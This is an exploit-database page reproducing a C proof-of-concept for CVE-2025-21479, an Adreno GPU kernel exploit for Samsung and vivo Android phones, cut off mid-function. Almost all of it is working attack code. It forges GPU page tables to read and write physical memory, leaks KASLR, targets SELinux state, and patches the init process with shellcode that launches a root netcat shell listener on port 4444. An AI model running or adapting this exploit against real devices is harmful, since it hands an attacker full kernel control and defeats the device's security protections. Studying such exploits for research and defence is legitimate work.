Exploit database

GH-7da3037e85220fb3dc9969b6c54f6f99

reaizuguo/vivo_iqoo_neo_9_root_research_on_cve-2025-21479

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2025-21479

12 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files3

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exploit/exploit_vivo.c

C · 117,364 bytes
// Galaxy Z Flip 5 (b5q) CVE-2025-21479 GPU exploit 
// KASLR leak -> SELinux permissive -> init-hook -> root nc shell (loopback).
// Derived/extended from https://github.com/zhuowei/cheese & https://github.com/sarabpal-dev/cheese-cake

#define _GNU_SOURCE
#define __BIONIC_DEPRECATED_PAGE_SIZE_MACRO

#include <stdint.h>
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/prctl.h>
#include <sys/file.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <errno.h>
/* bionic 内核头兼容 shim (musl 编译) */
#ifndef __user
#define __user
#endif
#ifndef uint
typedef unsigned int uint;
#endif
#include "adrenaline.h"
#include <string.h>
#include <stdbool.h>
#include <sched.h>
#include <stdarg.h>
#include <time.h>
#include <sys/wait.h>
#include <sys/syscall.h>

#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif

// Z Flip 5 Specific Configuration

// Neo9 (PD2338C): 内核镜像物理基址 0xa8000000 (stext_pa=0xa8010000)
// 注意: 不能沿用三星的 0x80000000 —— Neo9 低区 0x80000000-0x82800000 可能不可读,
//       扫描读 [3] 目标会 GPU fault -> marker 永不出现 -> 全灭。
#define KERNEL_PHYS_BASE 0xa8000000
#define GPU_MARKER_VALUE 0xC0FFEE00  // GPU completion sentinel: CPU polls this after each GPU command

// Samsung _stext signature
#define SAMSUNG_STEXT_OFFSET 0x10000

// Samsung kernel linear mapping base
#define SAMSUNG_LINEAR_MAP_BASE 0xffffffc008000000ULL

// Z Flip 5 (SM-F731N) - New Firmware Offsets (from kallsyms.txt)

#define OFFSETOF_TASK_STRUCT_TASKS     0x4d0
#define OFFSETOF_TASK_STRUCT_MM        0x520
#define OFFSETOF_TASK_STRUCT_PID       0x5d8
#define OFFSETOF_MM_PGD                0x40
#define OFFSETOF_MM_START_CODE         0x110
#define OFFSETOF_MM_END_CODE           0x118

// FW = device firmware build F731NKSU5EYD9; values below are its kallsyms addresses.
#define FW_STEXT_VA               0xffffffc008010000ULL
#define FW_SWAPPER_PG_DIR_VA      0xffffffc00aad4000ULL
#define FW_INIT_TASK_VA           0xffffffc00af12bc0ULL
#define FW_SELINUX_STATE_VA       0xffffffc00b15fa40ULL

// init-hook payload: init forks a root `toybox nc` listener on 127.0.0.1:4444 (loopback root shell).
#define INIT_HOOK_SHELLCODE_WORDS 61U
#define NC_HOST           "127.0.0.1"
#define NC_PORT           4444
#define ROOT_CMD_RUNNER   "toybox nc -s 127.0.0.1 -p 4444 -L /system/bin/sh"

// PID 1 /system/bin/init resident-page hook candidate.
// Values are ELF VAs/file offsets for the FW /system/bin/init PIE. Runtime
// VAs are computed as mm->start_code + (file_va - INIT_TEXT_FILE_VA).
#define INIT_TEXT_FILE_VA             0x721000ULL
#define INIT_HOOK_PATCH_FILE_VA       0x995cd8ULL  // __system_property_update@plt
#define INIT_HOOK_CAVE_FILE_VA        0x997808ULL  // executable LOAD padding after .plt
#define INIT_HOOK_PATCH_EXPECT0       0x90000050U
#define INIT_HOOK_PATCH_EXPECT1       0xf9437e11U
#define INIT_HOOK_PATCH_EXPECT2       0x911be210U
#define INIT_HOOK_PATCH_EXPECT3       0xd61f0220U
#define INIT_HOOK_CAVE_EXPECT0        0x00000000U
#define INIT_HOOK_CAVE_BACKUP_BYTES   (INIT_HOOK_SHELLCODE_WORDS * sizeof(uint32_t))
#define INIT_HOOK_RET_SUCCESS_WORD    0x52800000U  // movz w0, #0
#define INIT_HOOK_RET_WORD            0xd65f03c0U  // ret

// Global Variables

const uint64_t kFakeGpuAddr = 0x40403000;
static uint64_t g_level1_dcache_size;
static int g_instance_lock_fd = -1;

// Structure Definitions

struct cheese_gpu_rw {
    int fd;
    uint32_t ctx_id;
    uint32_t* payload_buf;
    uint64_t payload_gpuaddr;
    void* target_physical_page;
    uint64_t phyaddr;
    uint64_t swapper_pg_dir_phys;
    uint64_t init_task_phys;
    uint64_t selinux_state_phys;
    uint64_t runtime_stext_pa;
    uint64_t pte_a_index;
    uint64_t kernel_base_pa;
};

// Logging Functions

static int acquire_instance_lock(void) {
    const char* lock_path = "/data/local/tmp/.cheese_test.lock";
    int fd = open(lock_path, O_CREAT | O_RDWR | O_CLOEXEC, 0600);
    if (fd < 0) {
        fprintf(stderr, "failed to open instance lock %s: %s\n",
                  lock_path, strerror(errno));
        return -1;
    }

    struct flock lock;
    memset(&lock, 0, sizeof(lock));
    lock.l_type = F_WRLCK;
    lock.l_whence = SEEK_SET;
    if (fcntl(fd, F_SETLK, &lock) != 0) {
        if (errno == EACCES || errno == EAGAIN) {
            fprintf(stderr, "another instance is active; refusing concurrent GPU/DirtyPT setup\n");
        } else {
            fprintf(stderr, "failed to acquire instance lock: %s\n",
                      strerror(errno));
        }
        close(fd);
        return -1;
    }

    g_instance_lock_fd = fd;
    return 0;
}

// PTE Utility Functions

// https://yanglingxi1993.github.io/dirty_pagetable/dirty_pagetable.html
uint64_t phys_to_readwrite_pte(uint64_t pa) {
    uint64_t page_pa = pa & ~0xFFFULL;
    const uint64_t PA_FIELD_MASK = 0x0000FFFFFFFFF000ULL;
    uint64_t new_pte = (page_pa & PA_FIELD_MASK);
    new_pte |= 0x3;
    new_pte &= ~(1ULL << 7);
    new_pte |= (1ULL << 6);
    new_pte |= (1ULL << 10);
    return new_pte;
}

void flush_tlb(void) {
    __asm__ volatile("dsb ishst\n" : : : "memory");
    sched_yield();
    __asm__ volatile("dsb ish\nisb\n" : : : "memory");
}

static void flush_tlb_mprotect(void *addr, size_t len) {
    if (mprotect(addr, len, PROT_NONE) == -1) return;
    mprotect(addr, len, PROT_READ | PROT_WRITE);
}

static inline bool is_valid_kernel_va(uint64_t va) {
    return (va >> 48) == 0xffff;
}

// Samsung low kernel direct-map window for task/mm/page-table objects.
#define SAMSUNG_LOW_LINEAR_MAP_BASE  0xffffff8000000000ULL
#define SAMSUNG_LOW_LINEAR_MAP_SIZE  0x80000000ULL
#define SAMSUNG_LOW_LINEAR_PHYS_BASE 0x80000000ULL
static inline uint64_t low_linear_va_to_pa(uint64_t va) {
    if (va < SAMSUNG_LOW_LINEAR_MAP_BASE ||
        va >= SAMSUNG_LOW_LINEAR_MAP_BASE + SAMSUNG_LOW_LINEAR_MAP_SIZE) {
        return 0;
    }
    return SAMSUNG_LOW_LINEAR_PHYS_BASE + (va - SAMSUNG_LOW_LINEAR_MAP_BASE);
}

// Cache Sync Functions

static inline void tu_sync_cacheline_to_gpu(void const *p) {
    __asm volatile("dc cvac, %0" : : "r" (p) : "memory");
}

static inline void tu_sync_cacheline_from_gpu(void const *p) {
    __asm volatile("dc civac, %0" : : "r" (p) : "memory");
}

uint32_t tu_get_l1_dcache_size(void) {
    uint64_t ctr_el0;
    __asm__("mrs\t%x0, ctr_el0" : "=r"(ctr_el0));
    return 4 << ((ctr_el0 >> 16) & 0xf);
}

static void sync_cache_to_gpu(void* start, void* end) {
    start = (char *) ((uintptr_t) start & ~(g_level1_dcache_size - 1));
    for (; start < end; start += g_level1_dcache_size) {
        tu_sync_cacheline_to_gpu(start);
    }
}

static void sync_cache_from_gpu(void* start, void* end) {
    start = (char *) ((uintptr_t) start & ~(g_level1_dcache_size - 1));
    for (; start < end; start += g_level1_dcache_size) {
        tu_sync_cacheline_from_gpu(start);
    }
}

// GPU Context Functions

// https://github.com/robclark/kilroy
int kgsl_ctx_create0(int fd, uint32_t *ctx_id) {
    struct kgsl_drawctxt_create req = { .flags = 0x00001812 };
    int ret = ioctl(fd, IOCTL_KGSL_DRAWCTXT_CREATE, &req); fprintf(stderr, "ctx_create ret=%d errno=%d id=0x%x\\n", ret, errno, req.drawctxt_id);
    if (ret) return ret;
    *ctx_id = req.drawctxt_id;
    return 0;
}

int kgsl_ctx_destroy0(int fd, uint32_t ctx_id) {
    struct kgsl_drawctxt_destroy req = { .drawctxt_id = ctx_id };
    return ioctl(fd, IOCTL_KGSL_DRAWCTXT_DESTROY, &req);
}

int kgsl_map(int fd, unsigned long addr, size_t len, uint64_t *gpuaddr) {
    struct kgsl_map_user_mem req = {
        .len = len, .offset = 0, .hostptr = addr,
        .memtype = KGSL_USER_MEM_TYPE_ADDR,
    };
    int ret = ioctl(fd, IOCTL_KGSL_MAP_USER_MEM, &req); fprintf(stderr, "kgsl_map ret=%d errno=%d gpuaddr=0x%llx\\n", ret, errno, (unsigned long long)req.gpuaddr);
    if (ret) return ret;
    *gpuaddr = req.gpuaddr;
    return 0;
}

int kgsl_gpu_command_payload(int fd, uint32_t ctx_id, uint64_t gpuaddr, uint32_t cmdsize, uint32_t n, uint32_t target_idx, uint64_t target_cmd, uint32_t target_size) {
    struct kgsl_command_object *cmds;
    struct kgsl_gpu_command req = {
        .context_id = ctx_id,
        .cmdsize = sizeof(struct kgsl_command_object),
        .numcmds = n,
    };
    size_t cmds_size = n * sizeof(struct kgsl_command_object);
    cmds = (struct kgsl_command_object *) malloc(cmds_size);
    if (cmds == NULL) return -1;
    memset(cmds, 0, cmds_size);
    for (uint32_t i = 0; i < n; i++) {
        cmds[i].flags = KGSL_CMDLIST_IB;
        if (i == target_idx) {
            cmds[i].gpuaddr = target_cmd;
            cmds[i].size = target_size;
        } else {
            cmds[i].gpuaddr = gpuaddr + (i << 16);
            cmds[i].size = cmdsize;
        }
    }
    req.cmdlist = (unsigned long) cmds;
    int err = ioctl(fd, IOCTL_KGSL_GPU_COMMAND, &req);
    fprintf(stderr, "gpu_cmd: err=%d errno=%d ts=0x%x ctx=%u n=%u\n",
            err, errno, req.timestamp, req.context_id, n);
    if (err == 0 && req.timestamp != 0) {
        struct kgsl_device_waittimestamp wt = {
            .timestamp = req.timestamp, .timeout = 3000 };
        int werr = ioctl(fd, IOCTL_KGSL_DEVICE_WAITTIMESTAMP, &wt);
        fprintf(stderr, "waitts: err=%d errno=%d ts=0x%x\n",
                werr, errno, req.timestamp);
    }
    free(cmds);
    return err;
}

// Page Table Setup

#define NPBUFS 384
// spray 页全局 (daemon 释放用)
static uint8_t* g_pbufs[NPBUFS];
static uint64_t g_pbuf_len;
#define LEVEL1_SHIFT 30
#define LEVEL1_MASK (0x1fful << LEVEL1_SHIFT)
#define LEVEL2_SHIFT 21
#define LEVEL2_MASK (0x1ff << LEVEL2_SHIFT)
#define LEVEL3_SHIFT 12
#define LEVEL3_MASK (0x1ff << LEVEL3_SHIFT)
#define ENTRY_VALID 3
#define ENTRY_RW (1 << 6)
#define ENTRY_MEMTYPE_NNC (3 << 2)
#define ENTRY_OUTER_SHARE (2 << 8)
#define ENTRY_AF (1<<10)
#define ENTRY_NG (1<<11)

// https://dawnslab.jd.com/android_gpu_attack_cve_2025_21479/#more
int setup_pagetables(uint8_t *tt0, uint32_t pages, uint32_t tt0phys, uint64_t fake_gpuaddr, uint64_t target_pa) {
    uint64_t *level_base;
    uint64_t level1_index, level2_index, level3_index;
    
    for (int i = 0; i < pages; i++) {
        level_base = (uint64_t *) (tt0 + (i * PAGE_SIZE));
        /* 必须零填充(与 exploit0 一致): 0x45 填充使未覆盖条目成为 table 描述符
         * (bits[1:0]=01), SMMU 投机/多级 walk 会走到 0x4545... 的无效表 -> fault,
         * 命令流中断 -> marker 永不出现 -> 全灭 (selonly/exploit0 零填充能命中)。 */
        memset(level_base, 0, 4096);
        
        level1_index = (fake_gpuaddr & LEVEL1_MASK) >> LEVEL1_SHIFT;
        level2_index = (fake_gpuaddr & LEVEL2_MASK) >> LEVEL2_SHIFT;
        level3_index = (fake_gpuaddr & LEVEL3_MASK) >> LEVEL3_SHIFT;
        
        if (level1_index == level2_index || level1_index == level3_index ||
            level2_index == level3_index) return -1;
        
        level_base[level1_index] = (uint64_t) tt0phys | ENTRY_VALID;
        level_base[level2_index] = (uint64_t) tt0phys | ENTRY_VALID;
        /* Type010/exploit0 main also fills [1] and [2] with tt0phys|3; cover both layouts */
        level_base[1] = (uint64_t) tt0phys | ENTRY_VALID;
        level_base[2] = (uint64_t) tt0phys | ENTRY_VALID;
        level_base[level3_index] = (uint64_t) (target_pa | ENTRY_VALID | ENTRY_RW |
                                               ENTRY_MEMTYPE_NNC | ENTRY_OUTER_SHARE | ENTRY_AF | ENTRY_NG);
        level_base[level3_index + 1] = (uint64_t) (tt0phys | ENTRY_VALID | ENTRY_RW |
                                                ENTRY_MEMTYPE_NNC | ENTRY_OUTER_SHARE | ENTRY_AF | ENTRY_NG);
        for (int j = 0; j < 16; j++) {
            int index = level3_index + 2 + j;
            if (index == level1_index || index == level2_index || index == level3_index) return -1;
            level_base[index] = (uint64_t) (target_pa + (j*0x1000) | ENTRY_VALID | ENTRY_RW |
                ENTRY_MEMTYPE_NNC | ENTRY_OUTER_SHARE | ENTRY_AF | ENTRY_NG);
        }
    }
    return 0;
}

// GPU Command Functions

#define CP_SET_DRAW_STATE 0x43
#define CP_SET_MODE 0x0e3 /* A7xx/vivo opcode (Type010-verified) */
#define DRAW_STATE_MODE_BINNING 0x1
#define DRAW_STATE_MODE_GMEM 0x2
#define DRAW_STATE_MODE_BYPASS 0x4
#define CP_SMMU_TABLE_UPDATE 0x0d3 /* A7xx/vivo opcode (Type010-verified) */
#define CP_MEM_TO_MEM 0x73

// https://googleprojectzero.blogspot.com/2020/09/attacking-qualcomm-adreno-gpu.html
// https://xploitbengineer.github.io/CVE-2025-21479
static int DoWrite(int fd, int ctx_id, uint32_t* payload_buf, uint64_t payload_gpuaddr, uint64_t phyaddr, uint64_t completion_marker_write_addr, bool write, uint64_t write_addr, uint32_t count, uint32_t* values) {
    uint32_t* drawstate_buf = payload_buf + 0x100;
    uint64_t drawstate_gpuaddr = payload_gpuaddr + 0x100*sizeof(uint32_t);
    uint32_t* drawstate_cmds = drawstate_buf;
    
    *drawstate_cmds++ = cp_type7_packet(CP_SMMU_TABLE_UPDATE, 4);
    drawstate_cmds += cp_gpuaddr(drawstate_cmds, phyaddr);
    *drawstate_cmds++ = 0;
    *drawstate_cmds++ = 0;
    drawstate_cmds += cp_wait_for_me(drawstate_cmds);
    drawstate_cmds += cp_wait_for_idle(drawstate_cmds);
    
    if (write) {
        *drawstate_cmds++ = cp_type7_packet(CP_MEM_WRITE, 2 + count);
        drawstate_cmds += cp_gpuaddr(drawstate_cmds, write_addr);
        for (uint32_t i = 0; i < count; i++) *drawstate_cmds++ = values[i];
    } else {
        if (count == 1) {
            *drawstate_cmds++ = cp_type7_packet(CP_MEM_TO_MEM, 5);
            *drawstate_cmds++ = 0;
            drawstate_cmds += cp_gpuaddr(drawstate_cmds, completion_marker_write_addr + 4);
            drawstate_cmds += cp_gpuaddr(drawstate_cmds, write_addr);
        } else {
            for (uint32_t i = 0; i < count; i++) {
                *drawstate_cmds++ = cp_type7_packet(CP_MEM_TO_MEM, 5);
                *drawstate_cmds++ = 0;
                drawstate_cmds += cp_gpuaddr(drawstate_cmds, completion_marker_write_addr + 4 + 4*i);
                drawstate_cmds += cp_gpuaddr(drawstate_cmds, write_addr + i*0x1000);
            }
        }
    }
    *drawstate_cmds++ = cp_type7_packet(CP_MEM_WRITE, 3);
    drawstate_cmds += cp_gpuaddr(drawstate_cmds, completion_marker_write_addr);
    *drawstate_cmds++ = GPU_MARKER_VALUE;

    uint32_t* payload_cmds = payload_buf;
    *payload_cmds++ = cp_type7_packet(CP_SET_MODE, 1);
    *payload_cmds++ = 1;
    *payload_cmds++ = cp_type7_packet(CP_SET_DRAW_STATE, 3);
    *payload_cmds++ = (drawstate_cmds - drawstate_buf) | ((DRAW_STATE_MODE_BINNING | DRAW_STATE_MODE_GMEM | DRAW_STATE_MODE_BYPASS) << 20);
    payload_cmds += cp_gpuaddr(payload_cmds, drawstate_gpuaddr);

    uint32_t cmd_size = (payload_cmds - payload_buf) * sizeof(uint32_t);
    sync_cache_to_gpu((void*)payload_buf, ((void*)payload_buf) + 0x1000);
    return kgsl_gpu_command_payload(fd, ctx_id, 0, 0, 1, 0, payload_gpuaddr, cmd_size);
}

// Physical Memory Read/Write

static int wait_for_marker_at(struct cheese_gpu_rw* cheese, size_t marker_offset, uint32_t value) {
    volatile uint32_t* marker = (volatile uint32_t*)((uint8_t*)cheese->target_physical_page +
                                                     marker_offset);
    usleep(500000);
    for (int i = 0; i < 1500; i++) {
        sync_cache_from_gpu((void*)marker, (void*)(marker + 1));
        if (marker[0] == value) return 0;
        usleep(1000);
    }
    return 1;
}

static int ReadPhys32(struct cheese_gpu_rw* cheese, uint64_t phys_addr, uint32_t* out_val) {
    if (setup_pagetables(cheese->target_physical_page, 1, cheese->phyaddr, kFakeGpuAddr, phys_addr & ~0xfffull)) return 1;
    sync_cache_to_gpu(cheese->target_physical_page, cheese->target_physical_page + 0x1000);

    if (DoWrite(cheese->fd, cheese->ctx_id, cheese->payload_buf, cheese->payload_gpuaddr,
                cheese->phyaddr, kFakeGpuAddr + 0x1100, false, kFakeGpuAddr + (phys_addr & 0xfffull), 1, NULL)) return 1;
    if (wait_for_marker_at(cheese, 0x100, GPU_MARKER_VALUE)) return 1;
    volatile uint32_t* marker = cheese->target_physical_page + 0x100;

    *out_val = *(volatile uint32_t*)(cheese->target_physical_page + 0x104);
    marker[0] = 0;
    sync_cache_to_gpu((void*)marker, (void*)(marker+1));
    return 0;
}

static int ReadPhys64(struct cheese_gpu_rw* cheese, uint64_t phys_addr, uint64_t* out_val) {
    uint32_t low, high;

    if (setup_pagetables(cheese->target_physical_page, 1, cheese->phyaddr, kFakeGpuAddr, phys_addr & ~0xfffull)) return 1;
    sync_cache_to_gpu(cheese->target_physical_page, cheese->target_physical_page + 0x1000);

    if (DoWrite(cheese->fd, cheese->ctx_id, cheese->payload_buf, cheese->payload_gpuaddr,
                cheese->phyaddr, kFakeGpuAddr + 0x1100, false, kFakeGpuAddr + (phys_addr & 0xfffull), 1, NULL)) return 1;
    if (wait_for_marker_at(cheese, 0x100, GPU_MARKER_VALUE)) return 1;
    volatile uint32_t* result_marker = cheese->target_physical_page + 0x100;
    low = *(volatile uint32_t*)(cheese->target_physical_page + 0x104);
    result_marker[0] = 0;
    sync_cache_to_gpu((void*)result_marker, (void*)(result_marker+1));

    uint64_t high_addr = phys_addr + 4;
    if ((high_addr & ~0xfffull) != (phys_addr & ~0xfffull)) {
        if (setup_pagetables(cheese->target_physical_page, 1, cheese->phyaddr, kFakeGpuAddr, high_addr & ~0xfffull)) return 1;
        sync_cache_to_gpu(cheese->target_physical_page, cheese->target_physical_page + 0x1000);
    }

    if (DoWrite(cheese->fd, cheese->ctx_id, cheese->payload_buf, cheese->payload_gpuaddr,
                cheese->phyaddr, kFakeGpuAddr + 0x1100, false, kFakeGpuAddr + (high_addr & 0xfffull), 1, NULL)) return 1;
    if (wait_for_marker_at(cheese, 0x100, GPU_MARKER_VALUE)) return 1;
    high = *(volatile uint32_t*)(cheese->target_physical_page + 0x104);
    result_marker[0] = 0;
    sync_cache_to_gpu((void*)result_marker, (void*)(result_marker+1));

    *out_val = ((uint64_t)high << 32) | low;
    return 0;
}

// Read-only physical memory reads (KASLR leak + symbol verification)

// Single source of truth for the _stext signature (first 6 instruction words).
// port_extract.py patches ONLY this array; the two 64-bit quad signatures used by
// the page-head scan are derived from it.
static const uint32_t FW_STEXT_WORDS[6] = {
    0xd503233f, 0xf800865e, 0xa9bd7bfd,
    0xf9000bf5, 0x910003fd, 0xa9024ff4,
};
static inline uint64_t fw_stext_sig1(void) {
    return (uint64_t)FW_STEXT_WORDS[0] | ((uint64_t)FW_STEXT_WORDS[1] << 32);
}
static inline uint64_t fw_stext_sig2(void) {
    return (uint64_t)FW_STEXT_WORDS[2] | ((uint64_t)FW_STEXT_WORDS[3] << 32);
}
#define GPU_PAYLOAD_SIZE 0x8000
#define GPU_MARKER_OFFSET 0x100
#define GPU_RESULT_OFFSET 0x800
#define GPU_OUTPUT_CAP_BYTES (PAGE_SIZE - GPU_RESULT_OFFSET)
#define GPU_DEFAULT_BULK_BYTES 0x100
#define GPU_MAX_DWORDS (GPU_OUTPUT_CAP_BYTES / sizeof(uint32_t))
#define GPU_SCAN_OVERLAP 0x40
#define GPU_WRITE_SCRATCH_OFFSET 0x180

static size_t g_bulk_max_bytes = GPU_DEFAULT_BULK_BYTES;
static bool g_bulk_recreate_ctx = false;
static bool g_bulk_reuse_smmu = false;
static useconds_t g_bulk_chunk_delay_us = 100000;

struct bulk_read_stats {
    uint32_t chunks;
    uint32_t marker_failures;
    uint32_t page_splits;
    uint32_t cache_to_gpu;
    uint32_t cache_from_gpu;
};

struct stext_scan_result {
    bool hit;
    uint64_t hit_pa;
    uint64_t kernel_base_pa;
    uint32_t bulk_read_failures;
    uint32_t partial_false_positives;
    uint32_t pages_scanned;
};

static uint64_t load_le64(const uint8_t* p) {
    return ((uint64_t)p[0]) |
           ((uint64_t)p[1] << 8) |
           ((uint64_t)p[2] << 16) |
           ((uint64_t)p[3] << 24) |
           ((uint64_t)p[4] << 32) |
           ((uint64_t)p[5] << 40) |
           ((uint64_t)p[6] << 48) |
           ((uint64_t)p[7] << 56);
}

static uint32_t load_le32(const uint8_t* p) {
    return ((uint32_t)p[0]) |
           ((uint32_t)p[1] << 8) |
           ((uint32_t)p[2] << 16) |
           ((uint32_t)p[3] << 24);
}

static int wait_for_gpu_marker(struct cheese_gpu_rw* cheese, struct bulk_read_stats* stats) {
    volatile uint32_t* marker = (volatile uint32_t*)((uint8_t*)cheese->target_physical_page +
                                                     GPU_MARKER_OFFSET);

    for (int i = 0; i < 1000; i++) {
        sync_cache_from_gpu(cheese->target_physical_page,
                            (uint8_t*)cheese->target_physical_page + PAGE_SIZE);
        if (stats) stats->cache_from_gpu++;
        if (marker[0] == GPU_MARKER_VALUE) return 0;
        usleep(1000);
    }
    if (stats) stats->marker_failures++;
    return 1;
}

static int DoReadDwords(int fd, int ctx_id, uint32_t* payload_buf,
                        uint64_t payload_gpuaddr, uint64_t phyaddr,
                        uint64_t read_addr, uint32_t dword_count,
                        bool update_smmu) {
    if (dword_count == 0 || dword_count > GPU_MAX_DWORDS) return 1;

    uint32_t* drawstate_buf = payload_buf + 0x100;
    uint64_t drawstate_gpuaddr = payload_gpuaddr + 0x100 * sizeof(uint32_t);
    uint32_t* drawstate_cmds = drawstate_buf;
    uint64_t completion_marker_write_addr = kFakeGpuAddr + 0x1000 + GPU_MARKER_OFFSET;
    uint64_t result_write_addr = kFakeGpuAddr + 0x1000 + GPU_RESULT_OFFSET;

    if (update_smmu) {
        *drawstate_cmds++ = cp_type7_packet(CP_SMMU_TABLE_UPDATE, 4);
        drawstate_cmds += cp_gpuaddr(drawstate_cmds, phyaddr);
        *drawstate_cmds++ = 0;
        *drawstate_cmds++ = 0;
        drawstate_cmds += cp_wait_for_me(drawstate_cmds);
        drawstate_cmds += cp_wait_for_idle(drawstate_cmds);
    }

    for (uint32_t i = 0; i < dword_count; i++) {
        *drawstate_cmds++ = cp_type7_packet(CP_MEM_TO_MEM, 5);
        *drawstate_cmds++ = 0;
        drawstate_cmds += cp_gpuaddr(drawstate_cmds, result_write_addr + i * 4);
        drawstate_cmds += cp_gpuaddr(drawstate_cmds, read_addr + i * 4);
    }

    drawstate_cmds += cp_wait_for_me(drawstate_cmds);
    drawstate_cmds += cp_wait_for_idle(drawstate_cmds);

    *drawstate_cmds++ = cp_type7_packet(CP_MEM_WRITE, 3);
    drawstate_cmds += cp_gpuaddr(drawstate_cmds, completion_marker_write_addr);
    *drawstate_cmds++ = GPU_MARKER_VALUE;

    uint32_t* payload_cmds = payload_buf;
    *payload_cmds++ = cp_type7_packet(CP_SET_MODE, 1);
    *payload_cmds++ = 1;
    *payload_cmds++ = cp_type7_packet(CP_SET_DRAW_STATE, 3);
    *payload_cmds++ = (drawstate_cmds - drawstate_buf) |
                      ((DRAW_STATE_MODE_BINNING | DRAW_STATE_MODE_GMEM | DRAW_STATE_MODE_BYPASS) << 20);
    payload_cmds += cp_gpuaddr(payload_cmds, drawstate_gpuaddr);

    uint32_t cmd_size = (payload_cmds - payload_buf) * sizeof(uint32_t);
    size_t drawstate_size = (drawstate_cmds - drawstate_buf) * sizeof(uint32_t);
    sync_cache_to_gpu(payload_buf, (uint8_t*)payload_buf + cmd_size);
    sync_cache_to_gpu(drawstate_buf, (uint8_t*)drawstate_buf + drawstate_size);
    return kgsl_gpu_command_payload(fd, ctx_id, 0, 0, 1, 0, payload_gpuaddr, cmd_size);
}

static int ReadPhysDwords(struct cheese_gpu_rw* cheese, uint64_t phys_addr,
                          uint32_t* out, uint32_t dword_count) {
    if (dword_count == 0 || dword_count > GPU_MAX_DWORDS) return 1;
    if ((phys_addr & 3) != 0) return 1;
    if (((phys_addr & 0xfff) + (uint64_t)dword_count * sizeof(uint32_t)) > PAGE_SIZE) return 1;

    if (setup_pagetables(cheese->target_physical_page, 1, cheese->phyaddr,
                         kFakeGpuAddr, phys_addr & ~0xfffull)) return 1;

    volatile uint32_t* marker = (volatile uint32_t*)((uint8_t*)cheese->target_physical_page +
                                                     GPU_MARKER_OFFSET);
    memset((uint8_t*)cheese->target_physical_page + GPU_RESULT_OFFSET, 0xa5,
           (size_t)dword_count * sizeof(uint32_t));
    marker[0] = 0;
    sync_cache_to_gpu(cheese->target_physical_page,
                      (uint8_t*)cheese->target_physical_page + PAGE_SIZE);

    if (DoReadDwords(cheese->fd, cheese->ctx_id, cheese->payload_buf, cheese->payload_gpuaddr,
                     cheese->phyaddr, kFakeGpuAddr + (phys_addr & 0xfffull), dword_count,
                     true)) return 1;

    if (wait_for_gpu_marker(cheese, NULL)) return 1;

    volatile uint32_t* result = (volatile uint32_t*)((uint8_t*)cheese->target_physical_page +
                                                     GPU_RESULT_OFFSET);
    for (uint32_t i = 0; i < dword_count; i++) out[i] = result[i];
    marker[0] = 0;
    sync_cache_to_gpu((void*)marker, (void*)(marker + 1));
    return 0;
}

static int ReadPhysBulkChunk(struct cheese_gpu_rw* cheese, uint64_t phys_addr,
                             uint8_t* out, size_t size, struct bulk_read_stats* stats,
                             bool setup_mapping, bool update_smmu) {
    if (size == 0 || size > g_bulk_max_bytes || size > GPU_OUTPUT_CAP_BYTES ||
        (size & 3) || (phys_addr & 3)) return 1;
    if (((phys_addr & 0xfff) + size) > PAGE_SIZE) return 1;

    uint32_t dword_count = (uint32_t)(size / sizeof(uint32_t));
    if (setup_mapping) {
        if (setup_pagetables(cheese->target_physical_page, 1, cheese->phyaddr,
                             kFakeGpuAddr, phys_addr & ~0xfffull)) return 1;
    }

    volatile uint32_t* marker = (volatile uint32_t*)((uint8_t*)cheese->target_physical_page +
                                                     GPU_MARKER_OFFSET);
    memset((uint8_t*)cheese->target_physical_page + GPU_RESULT_OFFSET, 0xa5, size);
    marker[0] = 0;
    if (setup_mapping) {
        sync_cache_to_gpu(cheese->target_physical_page,
                          (uint8_t*)cheese->target_physical_page + PAGE_SIZE);
    } else {
        sync_cache_to_gpu((void*)marker, (void*)(marker + 1));
        sync_cache_to_gpu((uint8_t*)cheese->target_physical_page + GPU_RESULT_OFFSET,
                          (uint8_t*)cheese->target_physical_page + GPU_RESULT_OFFSET + size);
    }
    if (stats) {
        stats->cache_to_gpu++;
        stats->chunks++;
    }

    if (DoReadDwords(cheese->fd, cheese->ctx_id, cheese->payload_buf, cheese->payload_gpuaddr,
                     cheese->phyaddr, kFakeGpuAddr + (phys_addr & 0xfffull), dword_count,
                     update_smmu)) return 1;

    if (wait_for_gpu_marker(cheese, stats)) return 1;

    memcpy(out, (uint8_t*)cheese->target_physical_page + GPU_RESULT_OFFSET, size);
    marker[0] = 0;
    sync_cache_to_gpu((void*)marker, (void*)(marker + 1));
    if (stats) stats->cache_to_gpu++;
    return 0;
}

static int ReadPhysBytesBulk(struct cheese_gpu_rw* cheese, uint64_t phys_addr,
                             uint8_t* out, size_t size, struct bulk_read_stats* stats) {
    size_t done = 0;
    uint64_t mapped_page = UINT64_MAX;

    if ((phys_addr & 3) || (size & 3)) return 1;

    while (done < size) {
        uint64_t cur = phys_addr + done;
        size_t page_left = PAGE_SIZE - (cur & 0xfff);
        size_t want = size - done;
        if (want > page_left) {
            want = page_left;
            if (stats) stats->page_splits++;
        }
        if (want > g_bulk_max_bytes) want = g_bulk_max_bytes;
        want &= ~3ULL;
        if (want == 0) return 1;

        uint64_t cur_page = cur & ~0xfffULL;
        bool reuse_mapping = g_bulk_reuse_smmu && mapped_page == cur_page;
        if (ReadPhysBulkChunk(cheese, cur, out + done, want, stats,
                              !reuse_mapping, !reuse_mapping)) return 1;
        mapped_page = cur_page;
        done += want;

        if (g_bulk_chunk_delay_us) {
            usleep(g_bulk_chunk_delay_us);
        }

        if (g_bulk_recreate_ctx && done < size) {
            kgsl_ctx_destroy0(cheese->fd, cheese->ctx_id);
            if (kgsl_ctx_create0(cheese->fd, &cheese->ctx_id)) return 1;
            usleep(10000);
        }
    }

    return 0;
}

static int scan_pagehead_stext_range(struct cheese_gpu_rw* cheese, uint64_t start, uint64_t end,
                                     struct stext_scan_result* result) {
    uint8_t page_head[GPU_SCAN_OVERLAP];
    uint64_t scan_start = start & ~0xfffULL;
    uint64_t scan_end = (end + PAGE_SIZE - 1) & ~0xfffULL;

    memset(result, 0, sizeof(*result));

    #define BULK_READ_PAGES 8

